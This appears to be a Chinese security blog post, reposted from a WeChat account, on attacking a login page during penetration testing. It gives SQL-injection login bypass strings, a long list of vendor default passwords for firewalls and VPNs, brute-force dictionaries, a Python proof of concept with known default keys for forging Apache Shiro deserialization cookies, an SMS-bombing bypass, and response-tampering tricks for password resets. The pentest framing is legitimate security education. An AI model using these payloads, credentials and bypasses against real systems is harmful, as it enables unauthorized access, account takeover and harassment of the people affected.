登陆页面的检测及渗透

admin 2021年5月1日09:18:21评论69 views字数 6648阅读22分9秒阅读模式

0x00 前言

我们在进行渗透测试的时候,常常会遇到许多网站站点,而有的网站仅仅是基于一个登陆接口进行处理的。尤其是在内网环境的渗透测试中,客户常常丢给你一个登陆网站页面,没有测试账号,让你自己进行渗透测试,一开始经验不足的话,可能会无从下手。今天就来简单说一下如何在只有一个登陆页面的情况下,来进行渗透测试。

 

0x01 开始

在条件允许的情况下,我们可以拿在渗透测试的开始之前拿出我们的扫描器来进行扫描,目前我们最常用的就是AWVS和Nessus,除此之外,我们还可以使用一些别的自动化测试工具,例如Nikto扫描器,Appscan,W3af,以及最近长亭科技的Xray扫描器,都可以试试。尤其是Xray扫描器,据说有许多小伙伴靠它挖到了许多漏洞。

以下是这些工具的一些使用方法,不进行赘述    Nikto https://zhuanlan.zhihu.com/p/70225775    Xray  https://chaitin.github.io/xray/#/    W3af  https://www.freebuf.com/column/145984.html    Appscan https://zhuanlan.zhihu.com/p/28729371

0x02 SQL注入

如果我们能够直接绕过登录,来直接访问系统内部资源,那自然是最好不过的了。万能密码就是其中一最好用的一种,虽然存在的可能性不大,但是偶尔也是存在的,稍微尝试一下也不会浪费太多时间。
例如'or 1=1 –
   "or "a"="a

例如这样,就能直接访问后台

登陆页面的检测及渗透

登陆页面的检测及渗透

登录口SQL注入
有的系统在登录口就存在SQL注入,目前我遇到过比较多的是Oracle以及MySQL的登录口注入,我们可以在登录处先抓一个包,然后根据抓包信息来构造Payload。值得一提的是,有时候我们需要在Burp里修改一下发包格式(change body encoding),才能成功注入。

在这给个例子:
正常登录报错

登陆页面的检测及渗透

加一个引号

登陆页面的检测及渗透

修改payload,以此返回数据包不同来判断存在SQL注入。

登陆页面的检测及渗透

并且,这类的SQL注入并不罕见,在许多网站中都可以进行尝试,很有可能会存在此漏洞

0x02 明文传输/用户名可枚举/爆破弱口令

明文传输
可能是我们做渗透测试中,最常见的一种漏洞,实际上它并不能算得上是一种漏洞,仅仅只能说是一种不足之处而已,明文传输在网站上随处可见,除了银行网站,很有可能每一个密码都是经过特殊加密然后再进行传输的。

用户名可枚举
此漏洞存在主要是因为页面对所输入的账号密码进行的判断所回显的数据不一样,我们可以通过这点来进行用户名的枚举,然后通过枚举后的账户名来进行弱口令的爆破。防御手段的话仅需要将用户名与密码出错的回显变成一样即可,例如用户名或密码出错。

登陆页面的检测及渗透

爆破弱口令
弱口令可以说是渗透测试中,最最常见,也是危害“最大”的一种漏洞,因为毫无技术性,毫无新意,但是却充满了“破坏性”,尤其是在内网环境中,弱口令更是无处不在。Web页面最常用的爆破工具为Burp,我们通常使用Nmap扫描也可能扫出其他端口存在,例如3389,SSH等。

传送门万能密码及字典:

链接:https://pan.baidu.com/s/1YP3qNmFoMcsRcz9Yr6Q1tQ 提取码:ksin

弱口令爆破工具推荐,详情可看以下,不在赘述:
Hydra:

https://yq.aliyun.com/articles/608406/

御剑RDP爆破: 

https://github.com/foryujian/yujianrdpcrack

Bruter:

https://www.uedbox.com/post/8478/

此外,我们还可以根据网站域名,以及收集的一些信息来进行定制化爆破,例如我在一次内网渗透测试中,发现了管理员的名字缩写为awr,然后我就生成了一堆密码,最后成功登陆账号密码为awr112233。

定制化生成字典:

http://tools.mayter.cn/

字典:

 https://github.com/rootphantomer/Blasting_dictionary

还有很多字典,可以在网上多收集一些,有时候你离Getshell,仅仅只差一个弱口令。

此外,有时候我们还可能遇到存在默认密码的系统,在这给出一些网上公开的默认账户密码,网上找到的:

天融信防火墙,不需要证书 登录地址:https://192.168.1.254 用户名:superman 密码:talent 技术支持热线:8008105119天融信防火墙,不需要证书 登录地址:https://192.168.1.254:8080 用户名:superman 密码:talent!23 遇到设备需要把旧设备配置备份下来,再倒入新设备基于console口登陆,用户名,密码跟web界面一致 system config reset 清除配置 save 保存 联想网御防火墙,需要证书(最好用IE浏览器登录)登录地址:https://10.1.5.254:8889 用户名:admin 密码:leadsec@7766、administrator、bane@7766 技术支持热线:4008107766 010-56632666深信服防火墙(注安全设备管理地址不是唯一的) https://10.251.251.251https://10.254.254.254 用户名:admin 密码:admin 技术支持热线:4006306430启明星辰 https://10.1.5.254:8889 用户名:admin 密码:bane@7766https://10.50.10.45:8889 用户名:admin 密码:admin@123 电脑端IP:10.50.10.44/255.255.255.0 技术支持热线:4006243900juniper 登录地址:https://192.168.1.1 用户名:netscreen 密码:netscreenCisco 登录地址:https://192.168.0.1 用户名:admin 密码:ciscoHuawei 登录地址:http://192.168.0.1 用户名:admin 密码:Admin@123H3C 登录地址:http://192.168.0.1 用户名:admin 密码:admin 技术支持热线:4006306430绿盟IPS https://192.168.1.101 用户名: weboper 密码: weboper 配置重启生效网神防火墙GE1口 https://10.50.10.45 用户名:admin 密码:firewall 技术支持热线:4006108220深信服VPN:51111端口 delanrecover华为VPN:账号:root 密码:mduadmin华为防火墙:admin Admin@123 eudemoneudemon Juniper防火墙:netscreen netscreen迪普 192.168.0.1 默认的用户名和密码(admin/admin_default)山石 192.168.1.1 默认的管理账号为hillstone,密码为hillstone安恒的明御防火墙 admin/adminadmin某堡垒机 shterm/shterm天融信的vpn test/123456

登陆页面的检测及渗透



0x03 扫目录


目录扫描

目录扫描也是一个存在惊喜的地方,说不定能扫描到后台未授权访问的链接、备份文件、编辑器、敏感信息等,像后台登陆的网址看多了,常规的路径像

www.xxx.com/admin/login.aspx(.php)

有些大佬甚至不用御剑什么的工具跑,就能直接猜到。一般碰到下面这种情况,可采用fuzz大法。一层一层fuzz,尝试寻找可利用的信息。漏洞银行有一期衬衫的视频fuzz讲得很好。他用的工具是wfuzz,感觉不错,感兴趣的可以去看看。在我看来,这是最好用的目录扫描工具:

https://github.com/maurosoria/dirsearch

 DirSearch已经成为了日常渗透工作中密不可分的工具之一,并且我们可以多级别扫描,在枚举子目录的目录,很多时候可以找到突破口。

登陆页面的检测及渗透

除此之外,还有御剑也是比较常用的

https://github.com/52stu/

登陆页面的检测及渗透


JS扫描
JS文件我们在渗透测试中也是经常用到的东西,有时候我们可以在JS文件中找到我们平时看不到的东西,例如重置密码的JS,发送短信的JS,都是有可能未授权可访问的。JS扫描的话推荐使用JSFind:

https://github.com/Threezh1/JSFinder

同时它也会提取页面中的URL,简单举例

登陆页面的检测及渗透

nmap扫描
Nmap的强大功能能让我们第一时间获取网站的端口信息,而这些端口信息中常常可以给予我们非常大的帮助,例如开放了3389端口,或者一些敏感端口的探测,Nmap的使用方法相比不需要我再多说,每个安全工程师都必须要精通的一种工具,以下是我的一些端口小总结,希望可以给与大家一点儿帮助。

登陆页面的检测及渗透

登陆页面的检测及渗透

在扫描目录与JS这块,要注意多次爆破,遍历访问多级域名的目录与JS。
我就曾在一个学校网站中,使用Nmap对批量网段的探测,获得了一个登陆网站,并且在网站中遍历目录,获得了一个test页面,最后在这个页面的JS文件中,获取到了一个接口,通过这个接口重置了主登录页面的密码。


0x04 框架漏洞

在网上找找此公司产品是否爆出过漏洞。若是开源的框架,还可下载源码进行代码审计寻找漏洞。像java的站,登陆页面是.do或.action的网址。可尝试下 struts2 命令执行漏洞,我一般使用安恒的S2漏洞验证工具

登陆页面的检测及渗透

以及某些厂商的服务存在漏洞,例如Apache中间件组件Shiro反序列化漏洞,这里简单说一下:需要一个ysoserial.jar  

https://github.com/frohoff/ysoserial以及默认秘钥4AvVhmFLUs0KTA3Kprsdag==2AvVhdsgUs0FSA3SDFAdag==2AvVhdDFCVdfdfDFAdag==3AvVhmFLUs0KTA3Kprsdag==   kPH+bIxk5D2deZiIxcaaaA   wGiHplamyXlVB11UXWol8g==6ZmI6I2j5Y+R5aSn5ZOlAA==   AsfawfsdfaAasdWWW==   Z3VucwAAAAAAAAAAAAAAAA==6ZmI6I2j5Y+R5aSn5ZOlAA==   ZUdsaGJuSmxibVI2ZHc9PQ==1QWLxg+NYmxraMoxAXu/Iw==

POC

from Crypto.Cipher import AESfrom Crypto import Randomfrom base64 import b64encodefrom base64 import b64decode
BS = AES.block_sizepad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS)
def encrypt(key, text): IV = Random.new().read(AES.block_size) cipher = AES.new(key, AES.MODE_CBC, IV=IV) data = b64encode(IV + cipher.encrypt(pad(text)))return data
key= b64decode('2AvVhdsgUs0FSA3SDFAdag==')print encrypt(key, open('payload.dat','rb').read())

使用方法

1:java -jar ysoserial.jar URLDNS "你的ceye.io或者burp的collaborator client功能中">payload.dat2:运行python脚本,生成cookie

登陆页面的检测及渗透

3:将cookie复制到burp发包,此时DNSlog就会记录,我们可以再次构造进行命令执行,在这不进行深入。

登陆页面的检测及渗透

致远A8-getshell:

https://www.cnblogs.com/dgjnszf/p/11104594.html

Thinkphp:

https://github.com/SkyBlueEternal/thinkphp-RCE-POC-Collection

Struts2:

https://github.com/HatBoy/Struts2-Scan


weblogic: 

https://github.com/rabbitmask/WeblogicScan

以及各大Java反序列化漏洞等等,这里的漏洞都说不完了。


0x05 逻辑漏洞

寻找逻辑漏洞,例如忘记密码,任意用户注册

任意重置密码
例如

登陆页面的检测及渗透

此时客户端会发一个验证码包,我们这是随意输入验证码,发包,返回包。
返回包错误的回显为{"status":0}
将返回包的东西换成{"status":1}
即可重置密码

登陆页面的检测及渗透

任意用户注册
爆破注册页面的验证码,即可任意用户注册

登陆页面的检测及渗透

同样,这里的验证码如果为四位数的话,有时候也可能存在可爆破,可进行任意用户重置密码

短信轰炸
短信轰炸很常见,一般在发送验证码后抓包,不断repeate即可,如果做了一定防护的话,在添加空格,或者特殊符号,或+86等都可以进行绕过。未经过防护的短信爆破十分常见。一般人可能抓包重放失败后就放弃了。这里有个技巧,是从西门吹雪师傅博文里学到的绕过的姿势:

发送短信处一般每隔60秒才能发送一次

登陆页面的检测及渗透

但若是发包时在手机号后加上一个空格、加号或换行符等特殊字符。然后重新发送,这时若发送成功,则说明可绕过限制。

登陆页面的检测及渗透

此时在intruder模块只要持续递增空格就可造成无限短信轰炸

登陆页面的检测及渗透

博文链接:

http://ximcx.cn/post-143.html

不完全的登录
这个漏洞我找到过一次,就是在登录页面,随意输入任意的账户和密码,然后抓包,修改返回包,骗过前端,从而获得一定的权限,其功能不完善,但是依旧可以看到许多敏感数据。

逻辑漏洞这里要根据不同网站来进行测试,逻辑漏洞的方式多种多样,常常会遇到许多奇怪的姿势,例如cookie某字段为Guest,修改为admin即可更换用户身份的,还需要在日常工作中多加总结。


0x06 禁用JS

禁用JS插件,查看页面源代码12
禁用JS和查看源代码,有时候会有意想不到的惊喜。

登陆页面的检测及渗透

例如某些重定向,某些权限缺失,在我们未授权进入后台一瞬间,就会重定向回去登录页面,而如果此时我们禁用了JS,则可以进行一定权限的控制。

查看源代码则不用多说,有的不大聪明的程序员可能会在源代码里泄露一些不可告人的秘密,例如测试账号,还有我们可能会找到一些网站的后台结构,以及JS接口。


0x07 URL重定向

URL重定向
URL重定向是我们渗透测试中非常常见的一个漏洞,一般出现在以下参数里,而登录时常常也有这个URL重定向到后台网站,我们修改这个后台网站的URL即可跳转到任意页面,可用于钓鱼页面的制作
例如 http://www.aaa.com?url=aHR0cDovL2FkbWluLmFhYS5jb20=
url后面常会进行base64编码处理

常见URL跳转参数:

redirectredirect_toredirect_urlurljumpjump_totargettolinklinktoDomain



0x08 验证码问题

验证码可修改接受者
可将A账号的修改密码验证码接受者修改为B,这样A账号的验证码就会发到B的手机上,从而B可以重置A的账号密码
例如A账号moblephone=13333888888 ,这点是可控的,我们修改为moblephone=18888888888,即可收到A账号的重置验证码

登陆页面的检测及渗透

登录验证码可绕过
可能存在万能验证码0000或者9999,不过此类情况较为罕见。更多的情况为修改返回包,可能会出现可绕过逻辑判断。

验证码可爆破
验证码失效的时间过长,并且为纯数字或者过短字符,导致可被爆破。

验证码回显前端
有的网站验证码会回显到前端,只需要抓包即可获得验证码

登陆页面的检测及渗透

验证码不刷新
验证码不会自动刷新,导致我们可一码多次使用,我们只需要输入一次验证码就可以让我们能够开始进行暴力破解。


0x9 总结

简单的来说,遇到一个登陆站点,我们需要做的时候有
1、条件允许的情况下开启漏洞扫描
2、敏感信息的探测,例如端口,目录,JS文件
3、爆破弱口令
4、抓包看看是否存在逻辑漏洞,或者SQL注入进行尝试
5、寻找框架漏洞

点击原文链接可以对原文进行跳转

本文始发于微信公众号(渗透云笔记):登陆页面的检测及渗透

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年5月1日09:18:21
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   登陆页面的检测及渗透https://cn-sec.com/archives/233368.html

发表评论

匿名网友 填写信息